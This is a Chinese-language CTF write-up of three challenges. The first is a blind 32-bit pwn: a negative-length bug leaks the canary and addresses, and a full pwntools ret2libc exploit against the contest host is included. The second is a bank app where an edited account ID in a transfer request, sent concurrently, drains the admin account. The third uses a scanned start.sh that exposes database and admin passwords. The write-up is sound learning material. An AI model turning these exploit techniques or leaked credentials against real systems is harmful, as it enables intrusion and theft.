blindpwn
寻找漏洞点
上来先看到让输入的有长度和数据,其他先不管,测试一下长度,发现最大为16
然后blind pwn一般的话有栈溢出和格式化字符串两种,这里先测试一下格式化字符串
然后就会发现啥也没有,但是会发现一些事情
有一些奇怪的字符,直觉应该是顺带把什么东西泄露出来了,上脚本看
这里简单猜一下,应该是栈上的数据,可能存在栈溢出,拿我们尝试输出最长字符串(16)试一下
rl(b"Len:\n")sl(b"16")rl(b"Data:\n")s(b"a" * 0x10)
然后,无事发生,程序继续运行
输入大于16会EOF,如下所示,所以想一下漏洞点在哪
绕过保护
这里根据经验,测试一下长度,输入负数长度试一下,会发现输出的长度变长了,而且能输入的字符也多了,那就上个超长字符串试一下,对应的漏洞应该就是把有符号数转化为了无符号数造成的
发现报错了,存在canary,根据我们之前的猜测,输出的应该是栈上的数据,再加上自己手动二分测一下,定位覆盖canary的长度为0x11,那么此时还要确定位数,根据下图,发现f7开头的比较多,应该就是32位
那蓝色划的就是canary,然后绿色的就是ebp存放的值,红色的就是返回地址(程序地址),我们现在就可以拿到程序地址,canary和ebp的值,于此同时,也能拿到libc地址,但是没有偏移,没啥用,此时看似没啥能利用的,但是程序其实给了提示,说有什么DEBUG,这个其实刚开始我也没注意,后面随便用超长数据覆盖发现了一个点
rl(b"Len:\n")sl(b"-1")rl(b"Data:\n")s(b"a" * 0x11)rl(b"a" * 0x11)canary = u32(p.recv(4))li(canary)p.recv(8)stack = u32(p.recv(4))code_base = u32(p.recv(4))li(code_base)
获得libc偏移
在这里发现程序进入debug模式,会泄露write的libc地址,那么如果我们能拿到它根据网上找偏移,不就成ret2libc了,继续测试,发现控制debug模式位于返回地址下方
获取shell
但是我们拿到地址其实已经是最后一次输入了,因为第一次要拿到各种地址和值,那么我们要想办法再次让程序执行一次这个vuln函数,根据内存布局和逻辑,可以猜测出来,这个应该是一个循环调用了vuln函数,那么我们让其再次call这个函数即可,那就用获得的返回地址不断的减去偏移,最终得到是7
sl(b"-1")rl(b"Data:\n")s(b"a" * 0x11 + p32(canary) + p32(1) * 2+p32(stack) + p32(code_base-7)+p32(1))rl(b"write <")libc_base = int(p.recv(10),16) - 0x108630
拿到了一个libc用在线网站查一下,一个一个试,发现用的是libc6-i386_2.35-0ubuntu3.10_amd64
后面就是正常32位的retlibc了
rl(b"Len:\n")sl(b"-1")rl(b"Data:\n")li(libc_base)li(stack)system = libc_base + 0x047cd0bin_sh = libc_base + 0x1b90d5s(b"a" * 0x11 + p32(canary) + p32(1) * 3 + p32(system)+p32(0)+p32(bin_sh))
完整EXP
from pwn import *from pwncli import *def s(a):p.send(a)def sa(a, b):p.sendafter(a, b)def sl(a):p.sendline(a)def sla(a, b):p.sendlineafter(a, b)def li(a):print(hex(a))def r():p.recv()def pr():print(p.recv())def rl(a):return p.recvuntil(a)def inter():p.interactive()def get_32():return u32(p.recvuntil(b'\xf7')[-4:])def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))# def get_sb():# return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))def debug():gdb.attach(p)context(os='linux',arch='amd64',log_level='debug')libc = ELF('./libc.so')p = remote("isg.idss-cn.com", 21804)rl(b"Len:\n")sl(b"-1")rl(b"Data:\n")s(b"a" * 0x11)rl(b"a" * 0x11)canary = u32(p.recv(4))li(canary)p.recv(8)stack = u32(p.recv(4))code_base = u32(p.recv(4))li(code_base)sl(b"-1")rl(b"Data:\n")s(b"a" * 0x11 + p32(canary) + p32(1) * 2+p32(stack) + p32(code_base-7)+p32(1))rl(b"write <")libc_base = int(p.recv(10),16) - 0x108630rl(b"Len:\n")sl(b"-1")rl(b"Data:\n")li(libc_base)li(stack)system = libc_base + 0x047cd0bin_sh = libc_base + 0x1b90d5s(b"a" * 0x11 + p32(canary) + p32(1) * 3 + p32(system)+p32(0)+p32(bin_sh))inter()
ezbank
当黑盒做了,没看到下载的按钮 : ),先注册一个账号进去,进去发现用钱买礼物,有转账,抓个包
POST /api/transaction HTTP/1.1Host: isg.idss-cn.com:21404sec-ch-ua-platform: "Android"Accept: */*Origin: http://isg.idss-cn.com:21404Referer: http://isg.idss-cn.com:21404/Content-Type: application/jsonAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsIm5hbWUiOiJhZG1pbjg4OCIsImlhdCI6MTc1NTg2NTY1OCwiZXhwIjoxNzU1OTUyMDU4fQ.sWF6xrkcCSKpy5YfpCHXpoWDpiWv5w2Jvnlg6Y2cCqAAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9User-Agent: Mozilla/5.0 (Linux; Android 11; Pixel C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Safari/537.36sec-ch-ua-mobile: ?1sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="88", "Google Chrome";v="88"Content-Length: 46{"fromAccountId":4,"toAccountId":1,"amount":1}
猜测1为管理员的,感觉和thm的入门很像,那就换一下转钱并发一下
成功买下来
babysec
先扫目录,发现了一个start.sh,里面有管理员账号密码
#!/bin/bash# Exit on any errorset -eexport POSTGRES_DB=pastebinexport POSTGRES_USER=pastebin_userexport POSTGRES_PASSWORD=B236-9E9362319162export DB_HOST=localhostexport DB_NAME=pastebinexport DB_USER=pastebin_userexport DB_PASS=B236-9E9362319162export DB_PORT=5432export ADMIN_USERNAME=adminexport ADMIN_PASSWORD=92E54054-FD9C
进去在Admin Panel找到flag,挺简单的都